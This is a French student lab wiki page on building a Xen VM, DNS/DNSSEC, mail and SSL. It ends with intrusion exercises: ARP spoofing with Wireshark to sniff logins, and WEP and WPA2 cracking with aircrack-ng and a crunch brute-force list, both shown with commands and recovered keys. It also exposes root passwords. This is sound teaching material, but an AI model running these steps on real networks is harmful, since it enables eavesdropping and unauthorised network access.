[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Gandi-t%C3%A9l%C3%A9chargement_clefetcertifica_mirage.png&diff=53943Fichier:Gandi-téléchargement clefetcertifica mirage.png2020-11-20T09:48:23Z<p>Aglaine : </p>
<hr />
<div></div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53942TP sysres IMA2a5 2020/2021 G52020-11-20T09:42:54Z<p>Aglaine : /* Envoie du SSL Certification Gandi */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
